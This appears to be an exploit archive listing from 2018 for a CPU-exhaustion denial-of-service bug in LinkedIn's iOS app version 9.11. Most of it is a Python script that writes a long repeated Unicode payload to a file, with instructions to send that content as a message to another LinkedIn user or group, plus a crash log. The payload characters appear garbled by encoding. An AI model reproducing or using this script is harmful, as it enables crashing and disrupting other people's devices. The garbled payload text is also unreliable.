what you don't know can hurt you

Linkedin iOS 9.11.8592.4 CPU Resource Exhaustion

Linkedin iOS 9.11.8592.4 CPU Resource Exhaustion
Posted Aug 2, 2018
Authored by Juan Sacco

Linkedin mobile iOS application version 9.11.8592.4 suffers from a CPU resource exhaustion vulnerability.

tags | exploit, denial of service
systems | cisco, ios
MD5 | 548e38902cc5abaceaeb0c3f8618bdd6

Linkedin iOS 9.11.8592.4 CPU Resource Exhaustion

Change Mirror Download
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Linkedin Mobile iOS - v9.11 < CPU Resource exhaustion
#
# Found this and more exploits at my open source security project: http://www.exploitpack.com
# Date and time of release: 2 August 2018
#
# How to use:
# Run the script and copy the content of the file, send it as a message to another Linkedin user.
#
# Description:
# Linkedin Mobile iOS v9.11 and prior are affected. The application fails to
# properly filter user-supplied input and its prone to a remote cpu exhaustion.
# This exploits use the same bug discovered for WhatsApp: https://www.exploit-db.com/exploits/43107/
#
# OS Version: iPhone OS 11.4.1 (Build 15G77)
# Architecture: arm64
# Report Version: 19
# Hardware model: iPhone7,1
# Action taken: Process killed
# CPU: 48s seconds cpu time over 62 seconds ( 93% cpu average ), exceeding limit of 80% cpu over 60 seconds.
# Active cpus: 2
# 49 ??? (libdyld.dylib + 4032) [0x182e0dfc0]
# 49 ??? (LinkedIn + 213856) [0x100c04360]
# 49 ??? (UIKit + 3266392) [0x18d39c758]
# 49 ??? (GraphicsServices + 45088) [0x185362020]
# 49 ??? (CoreFoundation + 48552) [0x18337cda8]
import sys
reload(sys)

def linkedin(filename):
sys.setdefaultencoding("utf-8")
payload = u'O" O(c) Oa O<< O! O O(r) O- Odeg O+- O2 O3 O' Ou OP O* O, O1 Oo U U U U U U' * 158
sutf8 = payload.encode('UTF-8')
print "[*] Writing to file: " + filename
open(filename, 'w').write(payload)
print "[*] Done."

def howtouse():
print "Usage: linkedin.py [FILENAME]"
print "[*] Mandatory arguments:"
print "[!] FILENAME"
sys.exit(-1)

if __name__ == "__main__":
try:
print "[*] Linkedin iOS 9.11.8592.4 iOS - CPU Resource
exhaustion by Juan Sacco"
print "[*] How to use: Copy the content of the file and send
it as a message to another linkedin user or group"
linkedin(sys.argv[1])
except IndexError:
howtouse()
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